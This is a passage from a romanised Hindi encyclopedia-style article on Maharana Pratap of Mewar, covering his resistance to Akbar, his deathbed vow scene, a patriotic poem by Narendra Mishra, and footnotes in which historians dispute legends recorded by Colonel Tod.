maharana pratap ne ek pratishthit kul ke man-samman aur usaki upadhi ko prapt kiya. parantu usake pas n to rajadhani thi aur n hi vittiy sadhan. bar-bar ki parajayoan ne usake sv-bandhuoan aur jati ke logoan ko nirutsahit kar diya tha. phir bhi usake pas apana jatiy svabhiman tha. usane sattaroodh hote hi chittau d ke uddhar, kul ke samman ki punarsthapana tatha usaki shakti ko pratishthit karane ki taraf apana dhyan kendrit kiya. is dhyey se prerit hokar vah apane prabal shatru ke viruddh jut saka. usane is bat ki chinta nahian ki ki paristhitiyaan usake kitane pratikool haian. usaka chatur virodhi ek sunishchit niti ke dvara usake dhyey ka parast karane mean laga hua tha. mugal pratap ke dharm aur rakt bandhuoan ko hi usake virodh mean kh da karane mean juta tha. marava d, amer, bikaner aur booandi ke raja log akabar ki sarvabhaum satta ke samane mastak jhuka chuke the. itana hi nahian, pratap ka saga bhaee 'sagar'[14] bhi usaka sath chho dakar shatru paksh se ja mila aur apane is vishvasaghat ki qimat use apane kul ki rajadhani aur upadhi ke roop mean prapt huee.

kushal prashasak

thumb|maharana pratap ka dak tikat
Maharana Pratap Stamp maharana pratap praja ke hriday par shasan karane vale the. ek ajna huee aur vijayi sena ne dekha usaki vijay vyarth hai. chittau d bhasm ho gaya, khet uj d gaye, kuean bhar diye gaye aur gram ke log jangal evan parvatoan mean apane samast pashu evan samagri ke sath adrishy ho gaye. shatru ke liye itana vikat uttar, yah us samay maharana ki apani soojh hai. akabar ke udyog mean rashtriyata ka svapn dekhane valoan ko itihasakar badayooanni asaph khaan ke ye shabd smaran kar lene chahiye- "kisi ki or se sainik kyoan n mare, the ve hindoo hi aur pratyek sthiti mean vijay islam ki hi thi." yah kootaniti thi akabar ki aur maharana isake samaksh apana rashtragaurav lekar adig bhav se uthe the.

mrityu

akabar ke yuddh band kar dene se pratap ko maha duahkh hua. kathor udyam aur parishram sahan kar usane hazaroan kasht uthaye the, parantu shatruoan se chittau d ka uddhar n kar sake. vah ekagrachitt se chittau d ke us ooanche parakote aur jayastambhoan ko nihara karate the aur anek vichar uthakar hriday ko daanvadol kar dete the. aise mean hi ek din pratap ek sadharan kuti mean lete hue kal ki kathor ajna ki pratijna kar rahe the. unake charoan taraf unake vishvasi saradar baithe hue the. tabhi pratap ne ek lambi saans li. saloombar ke samannt ne katar hokar poochha, "maharaj! aise kaun se darun duahkh ne apako duahkhit kar rakha hai aur antim samay mean apaki shanti ko bhang kar raha hai." pratap ka uttar tha "saradar ji! abhi tak pran atake hue haian, keval ek hi ashvasan ki vani sunakar yah abhi sukhapoorvak deh ko chho d jayega. yah vani ap hi ke pas hai."

"ap sab log mere sammukh pratijna karean ki jivit rahate apani matribhoomi kisi bhi bhaanti turkoan ke hathoan mean nahian sauanpeange. putr rana amar sianh hamare poorvajoan ke gaurav ki raksha nahian kar sakega. vah mugaloan ke gras se matribhoomi ko nahian bacha sakega. vah vilasi hai, vah kasht nahian jhel sakega." isake bad rana ne amarasianh ko batean sunate hue kaha, "ek din us nichi kutiya mean pravesh karate samay amarasianh apane sir se pag di utarana bhool gaya tha. dvar ke ek baans se takarakar usaki pag di niche gir gee. doosare din usane mujhase kaha ki yahaan par b de-b de mahal banava dijie." kuchh kshan chup rahakar pratap ne kaha, "in kutiyoan ke sthan par b de-b de ramanik mahal baneange, meva d ki duravastha bhoolakar amarasianh yahaan par anek prakar ke bhog-vilas karega. amar ke vilasi hone par matribhoomi ki vah svadhinata jati rahegi, jisake lie maianne barabar pachchis varsh tak kasht uthae, sabhi bhaanti ki sukh-suvidhaoan ko chho da. vah is gaurav ki raksha n kar sakega aur tum log-tum sab usake anarthakari udaharan ka anusaran karake meva d ke pavitr yash mean kalank laga loge." pratap ka vaky poora hote hi samast saradaroan ne usase kaha, "maharaj! ham log bappa raval ke pavitr sianhasan ki shapath karate haian ki jab tak ham mean se ek bhi jivit rahega, us din tak koee turk meva d bhoomi par adhikar n kar sakega. jab tak meva d bhoomi ki poorv-svadhinata ka poori tarah uddhar ho nahian payega, tab tak ham log inhian kutiyoan mean nivas kareange." is santoshajanak vani ko sunate hi pratap ke pran nikal ge.[15]

is prakar ek aise rajapoot ke jivan ka avasan ho gaya, jisaki smriti aj bhi pratyek sisodiya ko prerit kar rahi hai. is sansar mean jitane dinoan tak virata ka adar rahega, utane hi din tak pratap ki virata, mahatmy aur gaurav sansar ke netroan ke samane achal bhav se virajaman rahega. utane din tak vah 'haldighat meva d ki tharmopoli' aur usake aantargat devir kshetr 'meva d ka mairathan' nam se pukara jaya karega.

pandit narendr mishr ki kavita is prakar hai-
maharana pratap par ek kavita

rana pratap is bharat bhoomi ke, mukti mantr ka gayak hai.
rana pratap azadi ka, aparajit kal vidhayak hai..
vah ajar amarata ka gaurav, vah manavata ka vijay toory.
adarshoan ke durgam path ko, alokit karata hua soory..
rana pratap ki khuddari, bharat mata ki pooanji hai.
ye vo dharati hai jahaan kabhi, chetak ki tapean gooanji hai..
patthar-patthar mean jaga tha, vikrami tez balidani ka.
jay ekaliang ka jvar jaga, jaga tha khadg bhavani ka..
lasani vatan parasti ka, vah vir dhadhakata shola tha.
haldighati ka mahasamar, mazahab se badhakar bola tha..
rana pratap ki karmashakti, ganga ka pavan nir huee.
rana pratap ki deshabhakti, patthar ki amit lakir huee.
samaraangan mean ariyoan tak se, is yoddha ne chhal nahian kiya.
samman bechakar jivan ka, koee sapana hal nahian kiya..
mitti par mitane valoan ne, ab tak jisaka anugaman kiya.
rana pratap ke bhale ko, himagiri ne jhukakar naman kiya..
pran ki garima ka sootradhar, asindhu dhara satkar hua.
rana pratap ka bharat ki, dharati par jayajayakar hua..


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

  1. ↑ Maharana Pratap
  2. ↑ dhram rahasi, rahasi dhara, khis jase khurasan.
    amar bisanbhar oopare rakhio nahacho ran॥
    -abdularahim khanakhana
  3. ↑ turak kahasi mukh pato in tanasooan ikaliang.
    oogai haaneean oogasi, prachi bich patang॥
  4. ↑ d aauktar gopinath sharma is kathan ko sahi nahian manate. pratap ne salim ke hathi par nahian apitu manasianh ke hathi par akraman kiya tha. salim to yuddhasthal par upasthit hi nahian tha.
  5. ↑ shaktisianh ki katha bhi any pramanoan se siddh nahian hoti. shaktisianh pahale hi chittau d ke akraman ke samay kam a chuka tha. sambhavatah donoan bhaiyoan ko milane ki katha bhatoan ne gadh li hai.
  6. ↑ t aaud ka yah kathan ki maladev bhi akabar ki sharan mean chala gaya tha, sahi nahian hai. 1562 ee. mean maladev ki mrityu huee aur 1564 ee. mean usaka b da l daka ram maujooda marava d naresh chandrasen ke viruddh sahayata prapt karane ke lie akabar ke pas gaya tha. maladev aur chandrasen ne kabhi bhi akabar ki adhinata svikar nahian ki thi.
  7. ↑ udayasianh ko 4 agast, 1583 ee. mean marava d ka rajy adhikar diya gaya tha. 1564 ee. mean mugaloan ne jodhapur par adhikar kar liya tha aur chandrasen ki mrityu (janavari, 1581 ee.) ke bad lagabhag tin varsh tak akabar ne jodhapur rajy ko apane hi adhikar mean rakha tha, jabaki maladev ke putr usaki seva mean upasthit the.
  8. ↑ udayasianh ne apani 'jodhabaee' (bhanibaee) namak putri ka vivah 'salim' (jahaangir) se kiya tha. vah 'jagat gusaeean' ke nam se prasiddh thi. isi ke garbh se samrat shahajahaan ka janm hua tha.
  9. ↑ is katha ko lagabhag sabhi lekhakoan ne manyata di hai. parantu d aauktar gopinath sharma ise sahi nahian manate. unake matanusar donoan ki mulaqat gogunda mean huee thi, n ki udayasagar par. t aaud ne yah katha khyatoan se li hai, jo avishsaniy nahian hai.
  10. ↑ is prakar ke kathanak asaty haian. pratham to rana pratap ke koee putri hi nahian thi, isalie usaka rona aprasangik hai. doosara, jis paha di bhag mean rana ghoomate-phirate the, vah bhag itana upajaoo tha ki unhean khane-pine mean kathinata ka samana karana p da, yah samajh mean nahian ata. pichhale srotoan mean bhi is katha ka koee ullekh nahian milata. ye to karnal t aaud ke mastishk ki upaj matr hai.
  11. ↑ d aauktar gopinath sharma ko is patr-vyavahar ke bare mean shanka hai. kyoanki isaka ullekh farasi tavarikhoan mean nahian hai.
  12. ↑ da. ojha aur da. gopinath sharma-ye donoan hi is kathan ko bhi kalpit manate haian ki bhamashah ne apani niji sampatti pratap ko de thi. unake matanusar yah rajakiy dravy tha athava malava se lootakar laya hua dhan tha.
  13. ↑ karnal t aaud ne jo tithi di hai, vah galat hai. 1576 ee. mean to haldighati ka yuddh hi l da gaya tha. atah yah 1580 ee. ke bad ka samay hona chahie.
  14. ↑ 'kandhar' namak durg sagar ke adhikar mean tha. usake vanshaj 'sagaraut' kahalaye
  15. ↑ pratap ka svargavas 19 janavari, 1597 ko hua tha.

bahari k diyaan

sanbandhit lekh

dekhean • varta • badalean
sisodiya vansh ke shasak
dekhean • varta • badalean
rajapoot samrajy (900–1162 ee.)

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